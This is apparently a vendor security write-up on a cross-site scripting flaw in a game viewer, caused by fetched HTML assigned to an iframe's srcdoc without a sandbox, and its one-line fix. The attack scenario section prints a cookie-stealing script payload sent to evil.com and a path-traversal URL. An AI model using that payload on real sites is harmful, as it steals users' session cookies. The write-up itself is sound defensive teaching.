How Unsandboxed iframe Content Injection Happens in JavaScript and How to Fix It
Introduction
The app-viewer/js/LupineVault.js file is responsible for loading game viewer content by fetching HTML from an external CDN based on a URL query parameter. It sounds straightforward — grab some HTML, display it in a frame — but a subtle omission in how that frame was configured turned this routine operation into a critical security vulnerability.
The problematic pattern was this: fetched HTML was assigned directly to viewerFrame.srcdoc without ever setting a sandbox attribute on the iframe. That single missing attribute meant any script embedded in the fetched HTML would execute in the full origin context of the application — with access to cookies, local storage, and the ability to manipulate the parent DOM.
This matters for any developer who uses iframes to display remotely fetched or user-influenced content. The srcdoc property is deceptively powerful: unlike a static src URL that a browser can reason about independently, srcdoc injects raw HTML markup directly into the iframe's document, making sandboxing not just a best practice but a necessity.
The Vulnerability Explained
What the Code Was Doing
Inside LupineVault.js, the application constructs a fetch URL using a gameName parameter taken from the URL query string. After fetching the HTML, it assigns the result to viewerFrame.srcdoc:
// VULNERABLE CODE (before fix)
processedHtml = htmlText;
viewerFrame.srcdoc = htmlText; // Raw fetched HTML injected with no sandbox
While encodeURIComponent is applied to the gameName parameter before building the fetch URL, this only protects the URL construction step. It does nothing to sanitize the actual HTML content returned by the CDN. Once the fetch completes, htmlText — the raw response body — flows directly into srcdoc.
Why This Is Dangerous
An iframe without a sandbox attribute inherits the same origin as its parent page. This means:
- Scripts in the injected HTML run as if they were part of the parent application.
- They can read
document.cookieandlocalStoragefrom the parent origin. - They can make authenticated requests using the user's session.
- They can manipulate the parent DOM via
window.parent.
The openNewTab handler compounded the issue further by writing raw fetched HTML using tab.document.write(html), which executes scripts in the opener's origin context — essentially the same problem in a second attack surface.
Concrete Attack Scenario
Consider an attacker who either:
-
Controls the CDN path: If the CDN serving the game HTML is compromised, misconfigured, or allows user-uploaded content, the attacker serves a response containing
<script>document.location='https://evil.com/?c='+document.cookie</script>. -
Crafts a malicious
viewparameter: If the URL routing or CDN path construction has any flexibility, an attacker crafts a URL like:
https://app.example.com/viewer?gameName=../../malicious-path
TheencodeURIComponentcall won't help here if the path traversal resolves server-side before the CDN responds.
In either case, when the victim loads the crafted URL, viewerFrame.srcdoc receives the malicious HTML, the embedded script runs with the application's full origin privileges, and the attacker exfiltrates session cookies or performs actions on behalf of the user.
The Fix
What Changed
The fix is a single line added in LupineVault.js, inserted before the srcdoc assignment:
processedHtml = htmlText;
+ viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock";
viewerFrame.srcdoc = htmlText;
Before vs. After
Before (vulnerable):
processedHtml = htmlText;
viewerFrame.srcdoc = htmlText;
// iframe has no sandbox — scripts run in parent origin context
After (fixed):
processedHtml = htmlText;
viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock";
viewerFrame.srcdoc = htmlText;
// iframe is sandboxed — scripts are isolated from parent origin
Why This Fix Works
The HTML sandbox attribute (and its JavaScript equivalent, the sandbox property) applies a set of restrictions to iframe content. Crucially, by default, a sandboxed iframe is treated as a unique origin — completely separate from the parent page. This means:
| Capability | Without Sandbox | With Sandbox (this fix) |
|---|---|---|
| Access parent cookies | ✅ Yes | ❌ Blocked |
| Access parent localStorage | ✅ Yes | ❌ Blocked |
| Manipulate parent DOM | ✅ Yes | ❌ Blocked |
| Execute scripts | ✅ Yes | ✅ Allowed (allow-scripts) |
| Submit forms | ✅ Yes | ✅ Allowed (allow-forms) |
| Open popups | ✅ Yes | ✅ Allowed (allow-popups) |
| Same-origin access | ✅ Yes | ❌ Blocked (not in list) |
The key permission not included in the fix is allow-same-origin. Including that would restore the parent-origin relationship and largely defeat the purpose of sandboxing. By omitting it, the fix ensures that even if the fetched HTML contains malicious scripts, those scripts are confined to the iframe's isolated origin and cannot touch the parent application's data.
The permissions that are included (allow-scripts, allow-forms, allow-popups, allow-pointer-lock) preserve the legitimate functionality of the game viewer content — games need to run scripts, handle input, and potentially open tabs — while eliminating the privilege escalation path.
Prevention & Best Practices
1. Always Sandbox iframes Displaying External or User-Influenced Content
Any time an iframe loads content from:
- An external URL
- A fetch response
- User-supplied data
...it should carry a sandbox attribute. The minimum-privilege principle applies: start with an empty sandbox (sandbox="") and add only the permissions the content actually needs.
<!-- Minimum sandbox — no scripts, no forms, no nothing -->
<iframe sandbox srcdoc="..."></iframe>
<!-- Add back only what's needed -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="..."></iframe>
2. Never Include allow-same-origin with allow-scripts
The combination of allow-same-origin and allow-scripts is explicitly called out in the HTML specification as dangerous — it allows the sandboxed content to remove its own sandbox restrictions via script. If you need allow-scripts, omit allow-same-origin.
3. Treat Fetched HTML as Untrusted Input
Even if you control the CDN, treat its responses as untrusted. CDNs can be compromised, misconfigured, or serve cached malicious content. Apply defense in depth:
- Sandbox the iframe (as this fix does).
- Consider using a Content Security Policy (CSP) header that restricts what scripts can execute.
- If the HTML content can be constrained, use a sanitization library like DOMPurify before injecting.
4. Avoid document.write() with Remote HTML
The openNewTab handler using tab.document.write(html) is a related risk. document.write() with externally fetched HTML in a new tab executes in the opener's origin. Prefer creating a sandboxed iframe in the new tab or using a Blob URL with appropriate MIME type restrictions.
// Safer alternative to document.write(html) for external content
const blob = new Blob([html], { type: 'text/html' });
const url = URL.createObjectURL(blob);
tab.location = url;
5. Use Static Analysis
Configure your CI pipeline to catch these patterns before they reach production:
- Semgrep: Write a rule that flags
element.srcdoc =assignments whereelement.sandboxis not set in the same code block. - ESLint plugins: Security-focused ESLint plugins can flag dangerous DOM assignments.
- Orbis AppSec: Automatically detected this specific taint flow from fetch response to unsandboxed
srcdoc.
Relevant Standards
- OWASP: Cross Site Scripting Prevention Cheat Sheet
- CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
- HTML Living Standard: The
sandboxattribute
Key Takeaways
viewerFrame.srcdocwithout asandboxattribute is a script execution sink — any HTML assigned to it runs with the parent page's full origin privileges.encodeURIComponent()on the fetch URL does not sanitize the fetched response — these are two separate data flows, and protecting one does nothing for the other.- The sandbox fix works because it removes
allow-same-origin— the iframe gets a unique, isolated origin, so even scripts that execute cannot access the parent application's cookies or DOM. document.write(html)in a new tab is the same class of vulnerability — writing externally fetched HTML into any document context without isolation is dangerous.- One line of code eliminated a critical attack surface —
viewerFrame.sandbox = "..."before thesrcdocassignment is all it took to contain the threat.
How Orbis AppSec Detected This
- Source: The
gameNameURL query parameter, used to construct a CDN fetch URL inLupineVault.js - Sink:
viewerFrame.srcdoc = htmlText— assignment of raw fetched HTML to an unsandboxed iframe'ssrcdocproperty - Missing control: No
sandboxattribute on the iframe element; no HTML sanitization of the fetched response body before injection - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
- Fix: Added
viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock"immediately before thesrcdocassignment, isolating the iframe content in a unique origin and preventing parent-context script execution.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The vulnerability in LupineVault.js is a textbook example of how a single missing attribute can turn a routine display operation into a critical security hole. Fetching HTML and displaying it in an iframe is a common, legitimate pattern — but without the sandbox attribute, the iframe is not really a container at all. It's a direct execution environment with full access to the parent application's origin.
The fix demonstrates that security improvements don't always require architectural overhauls. A single property assignment — viewerFrame.sandbox = "allow-scripts allow-forms allow-popups allow-pointer-lock" — transforms the iframe from an open execution context into a properly isolated container. The game viewer continues to function exactly as intended, but the blast radius of any malicious content it might display is now contained.
For developers working with iframes, the rule is simple: if you didn't write the HTML yourself, sandbox the frame that displays it. Treat srcdoc and innerHTML as sinks that demand the same scrutiny you'd give a eval() call or a shell command.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
- OWASP Cross Site Scripting Prevention Cheat Sheet
- HTML Living Standard — The iframe sandbox attribute
- MDN Web Docs — iframe sandbox
- Semgrep rules for XSS patterns
- fix: the gamename parameter is taken directly from t... in...